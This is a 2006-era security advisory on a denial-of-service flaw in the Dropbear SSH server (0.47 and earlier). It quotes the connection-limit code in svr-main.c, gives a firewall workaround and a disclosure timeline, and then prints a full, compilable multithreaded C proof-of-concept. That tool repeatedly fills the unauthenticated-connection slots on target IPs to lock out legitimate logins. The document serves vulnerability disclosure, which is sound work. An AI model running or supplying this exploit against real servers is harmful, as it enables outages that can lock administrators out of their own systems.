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Dropbear SSH Server DoS
------------------------------------------------------------------------
SUMMARY
<http://matt.ucc.asn.au/dropbear/dropbear.html> Dropbear is "a relatively
small SSH 2 server and client. It runs on a variety of POSIX-based
platforms. Dropbear is open source software, distributed under a MIT-style
license. Dropbear is particularly useful for "embedded"-type Linux (or
other Unix) systems, such as wireless routers". A denial of service attack
can be mounted against a Dropbear SSH server by a remote attacker.
DETAILS
Vulnerable Systems:
* Dropbear SSH server version 0.47 and prior
The vulnerability specifically exists due to a design error in the
authorization-pending connections code. By default and as a #define of the
MAX_UNAUTH_CLIENTS constant, the SSH server allows 30
authorization-pending connections, after connection 31, incoming sockets
are close()d immediately.
Vulnerable code is in svr-main.c
/* check for max number of connections not authorised */
for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
if (childpipes[j] < 0) {
break;
}
}
if (j == MAX_UNAUTH_CLIENTS) {
/* no free connections */
/* TODO - possibly log, though this would be an easy way
* to fill logs/disk */
close(childsock);
continue;
}
Analysis:
Remote attack of this vulnerability is trivial. This is specially
problematic if the administrator can't login due to the attack and can't
at least blacklist the attacker, restart the service or undertake other
actions.
Workaround:
Administrators running Dropbear should wait for a fix from the vendor. In
the mean time, firewalling the SSH server allowing incoming connections
just from trusted sources is advised.
Vendor response:
The vendor has been notified and a solution is under development.
Disclosure Timeline:
30/01/2006 - Initial vendor notification
07/03/2006 - Public disclosure
Exploit:
/*
* dropbear-PoC.c -- Probe of Concept, DoS Dropbear SSH server
*
* Author: Pablo Fernandez <pablo at littleQ.net>
*
* gcc dropbear-PoC.c -o dropbear-PoC -lpthread
* ./dropbear-PoC -v 192.168.0.1
*
*/
/**************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
**************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define MAX_SOCKS 0xfff
#define PORT 22
#define TIMEOUT_IN_MSECS 5000 /* 5 seconds... */
struct data {
int max_unauth_clients;
int port;
int verbose;
char *host;
};
void show_help (const char *name)
{
fprintf(stderr, "Usage %s [OPTIONS] host1 [hostN...]\n"
"\n"
"Options:\n"
"\t--help, -h - This help\n"
"\t--port, -p [PORT] - Port to connect to (defaults to %d)\n"
"\t--verbose, -v - Verbose level (can be used multiple times)\n"
"\n"
"Note that hosts should be specified using IP addresses, not
hostnames\n",
name, PORT);
exit(1);
}
void *DoS (void *data)
{
struct data *d;
struct sockaddr_in sa;
int sock;
int killed = 0;
struct pollfd fd;
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
int retval;
int i = 0;
d = (struct data*) data;
if (d->verbose > 1)
printf("[*] Target: %s\n", d->host);
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(d->host);
sa.sin_port = htons(d->port);
while (1) {
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
fprintf(stderr, "[!] Unable to create socket\n");
break;
}
if (connect(sock, (struct sockaddr*) &sa, sizeof(sa)) < 0) {
fprintf(stderr, "[!] %s: Unable to connect\n", d->host);
break;
}
memset(&fd, 0, sizeof(struct pollfd));
fd.fd = sock;
fd.events = POLLIN;
if ((retval = poll(&fd, 2, TIMEOUT_IN_MSECS)) < 0) {
perror("poll");
return NULL;
}
if (fd.revents & POLLIN) {
char buf[512];
memset(buf, 0, sizeof(buf));
read(sock, &buf, sizeof(buf));
if (buf[0] != 0) {
if (killed) {
if (d->verbose > 0)
printf("[!] %s is back up\n", d->host);
} else if (d->verbose > 1)
printf("[+] %s: connected %2d, %d\n", d->host, i++, fd.revents);
killed = 0;
} else
goto err;
} else if (fd.revents & (POLLERR | POLLHUP)) {
err:
if (!killed && d->verbose > 0)
printf("[+] %s has been DoSified\n", d->host);
killed = 1;
}
if (killed)
sleep(5);
}
return NULL;
}
int main (int argc, char *argv)
{
int port = PORT;
int verbose = 0;
int opt;
char *host;
pthread_t *threads = NULL;
int targets = 0;
int i;
struct data *d;
printf("\n");
printf("DropBear SSH Server DoS PoC\n");
printf(" -- by Pablo Fernandez <pablo at littleQ.net>\n\n");
while (1) {
static struct option options[] = {
{ "help", 0, 0, 'h' },
{ "port", 1, 0, 'p' },
{ "verbose", 0, 0, 'v' },
{ 0, 0, 0, 0 }
};
int a;
if ((opt = getopt_long(argc, argv, "hp:v", options, &a)) < 0)
break;
switch (opt) {
default:
case 'h':
show_help(argv[0]);
break;
case 'p':
port = atoi(optarg);
break;
case 'v':
verbose++;
break;
}
}
if (optind >= argc) {
fprintf(stderr, "\nError: Host not specified\n\n");
show_help(argv[0]);
return 0;
}
targets = argc - optind;
if ((threads = (pthread_t*) malloc(targets * sizeof(pthread_t))) < 0) {
perror("malloc");
return 1;
}
if (verbose > 2)
printf("[*] %d targets\n", targets);
for (i = 0; optind < argc; i++) {
host = argv[optind++];
d = (struct data*) malloc(sizeof(struct data));
d->port = port;
d->verbose = verbose;
d->host = strdup(host);
pthread_create(&(threads[i]), NULL, DoS, d);
}
for (i = 0; i < targets; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:pablo@littleQ.net> Pablo
Fernandez.
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